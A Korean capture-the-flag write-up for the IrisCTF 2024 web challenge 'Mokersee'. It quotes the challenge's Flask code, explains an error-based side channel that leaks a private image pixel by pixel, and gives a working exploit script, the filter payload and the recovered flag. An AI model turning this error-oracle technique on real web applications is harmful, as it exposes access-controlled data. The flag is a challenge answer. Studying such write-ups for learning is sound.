[CTF Writeup / Web] IrisCTF 2024 - Mokersee (after CTF)

[CTF Writeup / Web] IrisCTF 2024 - Mokersee



안녕하세요. 이번 글에서는 IrisCTF 2024에 출제된 [Web] Mokersee 문제 writeup을 작성해보겠습니다. 해당 문제는 대회 중에 풀지는 못했고, 대회가 끝난 후 다른 풀이자의 writeup을 보고 작성한 Writeup 입니다.


After last year, I decided the mokers have to stay local (since putting them on imgur was clearly the issue). In fact, you can't modify the site itself. No way you can read my flag now

문제 URL에 접근하면 여러 필터가 걸린 고양이 Moker의 사진이 나옵니다.


fakeflag

/view/flag에 접근 시 fakeflag가 나오는데, 실제 플래그의 폰트와 색상이 위 사진과 같다고 합니다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from flask import Flask, request, send_file, render_template
import json
from PIL import Image
from io import BytesIO
import numpy as np
 
app = Flask(__name__)
 
MOKERS = {
        "flag": {"description": "Free Flag (whatever)", "private": False, "preview": "%5B%7B%22filter%22%3A+%22blur%22%2C+%22args%22%3A+%5B20%5D%7D%5D"},
        "moker1": {"description": "Moker: normal", "private": False, "preview": "[]"},
        "moker2": {"description": "Moker (very different)", "private": False, "preview": "%5B%7B%22filter%22%3A+%22warp%22%2C+%22args%22%3A+%5B%5B%5B-1%2C+0%2C+768%5D%2C+%5B0%2C+-1%2C+1024%5D%2C+%5B0%2C+0%2C+1%5D%5D%5D%7D%5D"},
        "moker3": {"description": "Moker (holy)", "private": False, "preview": "%5B%7B%22filter%22%3A+%22intensity%22%2C+%22args%22%3A+%5B%5B0%2C+1%5D%2C+%5B0%2C+0.6%5D%5D%7D%2C+%7B%22filter%22%3A+%22gamma%22%2C+%22args%22%3A+%5B0.2%5D%7D%5D"},
        "moker4": {"description": "Moker... but at what cost?", "private": False, "preview": "%5B%7B%22filter%22%3A+%22rotate%22%2C+%22args%22%3A+%5B77%5D%7D%2C+%7B%22filter%22%3A+%22resize%22%2C+%22args%22%3A+%5B%5B768%2C+1024%5D%5D%7D%5D"},
        "moker5": {"description": "[FRESH] Moker", "private": False, "preview": "%5B%7B%22filter%22%3A+%22swirl%22%2C+%22args%22%3A+%5Bnull%2C+3%2C+500%5D%7D%5D"},
        "flagmoker": {"description": "Moker with Special Flag (RARE, do not show!)", "private": True, "preview": "[]"},
}
 
for moker in MOKERS:
    MOKERS[moker]["blob"] = Image.open("images/" + moker + ".png")
 
########### HELPERS
 
@app.after_request
def csp(r):
    # Actually, it's not even an XSS challenge.
    r.headers["Content-Security-Policy"] = "default-src 'none'; style-src 'self' https://cdn.jsdelivr.net; img-src 'self'; script-src https://cdn.jsdelivr.net;"
    return r
 
from skimage.filters import gaussian as blur
from skimage.exposure import adjust_gamma as gamma, rescale_intensity as intensity
from skimage.transform import resize, rotate, swirl, warp
 
FILTERS = {
        "blur": blur,
        "gamma": gamma,
        "intensity": lambda i, a, b: intensity(i, tuple(a), tuple(b)),
        "resize": resize,
        "rotate": rotate,
        "swirl": swirl,
        "warp": lambda i, m: warp(i, np.array(m))
}
 
import time
def doFilterChain(image, chain):
    for f in chain:
        image = FILTERS[f["filter"]](image, *f["args"])
 
    return image
 
########### ROUTES
 
@app.route("/")
def home():
    return render_template("index.html", MOKERS=MOKERS)
 
@app.route("/style.css")
def style():
    return send_file("style.css")
 
@app.route("/view/<moker>", methods=["GET"])
def view(moker):
    if moker not in MOKERS:
        return "What?"
 
    moker = MOKERS[moker]
 
    image = moker["blob"]
 
    filters = request.args.get("filters", None)
    if filters is not None:
        filters = json.loads(filters)
        image = np.array(image) / 255
        image = doFilterChain(image, filters)
        image = Image.fromarray((image * 255).astype(np.uint8), 'RGB')
 
    if moker["private"]:
        return "Not for public consumption."
 
    io = BytesIO()
    image.save(io, "PNG")
    io.seek(0)
    return send_file(io, mimetype='image/png')
 
cs

첨부된 chal.py 파일 내용을 확인해보면, flagmoker의 사진을 봐야 하지만, /view/flagmoker로 접근하면 private 조건 때문에 조회할 수 없습니다.

하지만 doFilterChain() 함수를 실행한 후 private 조건을 체크하기 때문에 doFilterChain() 함수에서 무언가를 해야 합니다.

필터 적용 중 에러가 발생하는 경우, 페이지는 500 에러를 반환합니다. 이를 이용하면 됩니다.


사용한 필터는 다음과 같습니다.

[
    {"filter": "gamma", "args": [0.001]},
    {"filter": "resize", "args": [[128,96]]},
    {"filter": "warp", "args": [[[1,0,x],[0,1,y],[0,0,100]]]},
    {"filter": "resize", "args": [[1,1]]},
    {"filter": "intensity", "args": [[0,1],[-1,1]]},
    {"filter": "gamma","args": []}
]


각 필터를 살펴보겠습니다.


{"filter": "gamma", "args": [0.001]}

gammagamma


gamma 필터에 인자가 0이면 흰색 이미지, 1이면 원본 이미지가 나옵니다. 인자가 0.1이면 배경이 좀 흐려지고 0.001이면 배경이 흰색이 되며, 빨간색 글자인 플래그만 남게 됩니다.



{"filter": "resize", "args": [[128,96]]}

1 픽셀씩 요청해야 하기 때문에 최대한 요청을 적게 하기 위해 이미지를 더 작게 resize 필터를 적용합니다.



{"filter": "warp", "args": [[[1,0,x],[0,1,y],[0,0,100]]]}
  • x : 0 to 9600 with step 100
  • y : 0 to 12800 with step 100

(x,y) 좌표는 1씩 설정해둬 그대로 가져오지만, z 좌표에 100을 적용합니다. 이는 이미지에서 각 픽셀 (x,y)의 위치가 100배로 확대됩니다. 이 부분을 반복문으로 (x,y) 값을 0~9600, 0~12800까지 실행하면 됩니다.


{"filter": "resize", "args": [[1,1]]}

100배 커진 사이즈라서 다시 1x1로 resize 필터 적용합니다.


{"filter": "intensity", "args": [[0,1],[-1,1]]},
{"filter": "gamma","args": []}

adjust_gamma 함수 내에서 _assert_non_negative(image)를 실행합니다. 이는 색상 값이 음수인지 양수인지 확인하고, 음수인 경우 예외를 발생시킵니다.

intensity의 파라미터는 input 범위, output 범위인데, output 범위를 (0,1)에서 (-1,1)로 변경하면 빨간색 색상값에서 gb에 해당하는 값은 음수가 될 것입니다.

example 1 (all white): [0.99, 0.98, 0.99] -> [0.98, 0.96, 0.98]
example 2 (red): [0.98, 0.02, 0.01] -> [0.96, -0.96, -0.98]

intensity를 output 범위를 (-1,1)로 설정하고, gamma 필터를 적용하면, 하얀색은 200 응답 코드, 빨간색은 오류(500 응답 코드)가 발생합니다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
from PIL import Image
from urllib import parse
import time
 
# 이미지 생성 (초기에 모든 픽셀을 흰색으로 설정)
width, height = 96, 128
image = Image.new("RGB", (width, height), "white")
pixels = image.load()
 
params_template = [
    {"filter": "gamma", "args": [0.001]},
    {"filter": "resize", "args": [[128, 96]]},
    {"filter": "warp", "args": [[[1, 0, 'X_VALUE'], [0, 1, 'Y_VALUE'], [0, 0, 100]]]},
    {"filter": "resize", "args": [[1, 1]]},
    {"filter": "intensity", "args": [[0, 1], [-1, 1]]},
    {"filter": "gamma", "args": []}
]
 
url = "https://mokersee-web.chal.irisc.tf/view/flagmoker"
 
for x in range(0, 9600, 100):
    for y in range(0, 12800, 100):
        params = str(params_template).replace("'X_VALUE'", str(x)).replace("'Y_VALUE'", str(y)).replace("'", '"')
 
        response = requests.get(url, params={"filters": params})
 
        # 응답 코드에 따라 색상 지정
        if response.status_code == 500:
            color = (255, 0, 0)  # 빨간색
        else:
            color = (255, 255, 255)  # 흰색
        
        pixels[x // 100, y // 100] = color
 
        print(x, y)
        image.save(f"./fuzzing_result.png")
        print("save")
        time.sleep(0.1)
 
    print("[x] ", x)
 
# 이미지 저장
image.save("./mokersee_result.png")
cs

위 항목에서 설명한 내용을 토대로 작성한 최종 exploit.py 코드 내용입니다.


FLAG


생성된 플래그 이미지입니다.


irisctf{all_i_did_was_add_some_floats}



[Reference]
- https://pshegger.github.io/posts/irisctf-2024/#mokersee

댓글